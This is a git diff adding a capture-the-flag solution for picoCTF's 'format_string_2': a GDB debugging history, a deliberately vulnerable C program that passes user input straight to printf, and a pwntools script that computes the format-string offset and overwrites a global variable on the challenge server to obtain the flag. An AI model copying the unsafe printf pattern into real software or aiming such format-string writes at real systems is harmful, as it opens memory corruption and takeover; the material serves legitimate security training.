diff --git a/format_string_2/.gdb_history b/format_string_2/.gdb_history
new file mode 100644
index 0000000..28b50a2
--- /dev/null
+++ b/format_string_2/.gdb_history
@@ -0,0 +1,217 @@
+disassemble main
+b *main+75
+run 
+exit
+disams main
+disasm
+disams main
+disasm main
+disassemble main
+b *main+75
+run
+n
+n
+n
+n
+stack
+stack 10
+stack 20
+stack 40
+search 0x21737573
+search \x21\x73\x75\x73
+search -dword 0x21737573
+search --dword 0x21737573
+search --dword 0x00404060
+search --qword 0x0000000000404060
+disassemble main
+stack 40
+stack 60
+search --dword 0x21737573
+run 
+continue
+run
+stack 40
+stack 60
+continue
+run
+search --dword 0x21737573
+continue
+run
+continue
+run
+disassemble main
+exit
+disassemble main
+exit
+disassemble main 
+b *main+95
+run
+stack 60
+help x
+stack 60
+x 1xg 0x7fffffffbc70
+x 1x 0x7fffffffbc70
+x  0x7fffffffbc70
+x 0x7fffffffbc70
+2x 0x7fffffffbc70
+x2 0x7fffffffbc70
+x 2 0x7fffffffbc70
+x /2 0x7fffffffbc70
+x /1xg 0x7fffffffbc70
+n
+x /1xg 0x7fffffffbc70A
+continue
+continue
+run
+exit
+b *main+95
+run
+x /1xg 0x7fffffffbc70A
+stack
+stack 60
+x /1xg 0x7fffffffbc70
+continue
+run
+stack
+stack 60
+x /1xg 0x7fffffffbc70
+continue
+run
+stack 60
+continue
+exit
+python import sys
+python print(sys.path)
+exit
+exit
+exit
+exit
+exit
+exit
+exit
+exit
+exit
+exit
+disassemble main
+b *main+95
+run
+stack 40
+continue
+disassemble main
+run
+stack 40
+continue
+search b570
+find b570
+run
+stack 40
+continue
+info
+exit
+disassemble main
+b *main+95
+run
+stack 40
+continue
+run
+stack 40
+continue
+run
+n
+stack 40
+exit
+disassemble main
+b *main+95
+run
+n
+x/1x
+x/2xw 0x7fffffffb570
+x/xw 0x7fffffffb570
+x 0x7fffffffb570
+continue
+run
+x 0x7fffffffb570
+n
+x 0x7fffffffb570
+continue
+run
+stack 60
+continue
+run
+stack 60
+n
+continue
+run
+stack 20
+continue
+run
+stack
+stack20
+stack 20
+continue
+run
+stack 20
+continue
+run 
+exit
+b *main+95
+run < python print(b"\x60\x40\x40\x00")
+run < python -c "print(b"\x60\x40\x40\x00")"
+run < python3 -c "print(b"\x60\x40\x40\x00")"
+exit
+b *main+95
+run < pipe
+exit
+b *main+95
+run < pipe
+continue
+exit
+b *main+95
+run < pipe
+stack 20
+x 0x404060
+n
+x 0x404060
+exit
+b *main+95
+run
+stack 20
+n
+exit
+exit
+b *main+95
+run
+run < pipe
+x 0x404060
+n
+x 0x404060
+stack 20
+continue
+exit
+b *main+95
+run
+run < pipe
+disassemble main
+x 0x404060
+x 0x7fffffffba00
+x $rip
+x $rip+0x2de7
+x 0x401273+0x2de7
+x 0x401279+0x2de7
+stack 40
+continue
+run
+stack 40
+n
+run < pipe
+stack 20
+continue
+run < pipe
+stack 20
+continue
+run < pipe
+stack 20
+continue
+run < pipe
+stack 20
+exit
diff --git a/format_string_2/peda-session-vuln.txt b/format_string_2/peda-session-vuln.txt
new file mode 100644
index 0000000..fe91fea
--- /dev/null
+++ b/format_string_2/peda-session-vuln.txt
@@ -0,0 +1,2 @@
+break *main+95
+
diff --git a/format_string_2/sol.py b/format_string_2/sol.py
new file mode 100755
index 0000000..60eb32f
--- /dev/null
+++ b/format_string_2/sol.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python3
+from pwn import *
+
+context.arch = "amd64"
+
+address = "rhea.picoctf.net"
+port = 51393
+conn = remote(address, port)
+
+def send_payload(payload):
+    conn = remote(address, port)
+    log.info(f"payload: {repr(payload)}")
+    conn.sendline(payload)
+    return conn.recvall()
+
+format_string = FmtStr(send_payload)
+offset = format_string.offset
+
+payload = fmtstr_payload(offset, {0x404060: 0x67616c66})
+log.info(payload)
+conn.sendline(payload)
+
+flag = conn.recvall()
+log.success(flag)
diff --git a/format_string_2/vuln b/format_string_2/vuln
new file mode 100755
index 0000000..c73077a
Binary files /dev/null and b/format_string_2/vuln differ
diff --git a/format_string_2/vuln.c b/format_string_2/vuln.c
new file mode 100644
index 0000000..2e2b2c7
--- /dev/null
+++ b/format_string_2/vuln.c
@@ -0,0 +1,35 @@
+#include <stdio.h>
+
+int sus = 0x21737573;
+
+int main() {
+  char buf[1024];
+  char flag[64];
+
+
+  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
+  fflush(stdout);
+  scanf("%1024s", buf);
+  printf("Here's your input: ");
+  printf(buf);
+  printf("\n");
+  fflush(stdout);
+
+  if (sus == 0x67616c66) {
+    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
+
+    // Read in the flag
+    FILE *fd = fopen("flag.txt", "r");
+    fgets(flag, 64, fd);
+
+    printf("%s", flag);
+    fflush(stdout);
+  }
+  else {
+    printf("sus = 0x%x\n", sus);
+    printf("You can do better!\n");
+    fflush(stdout);
+  }
+
+  return 0;
+}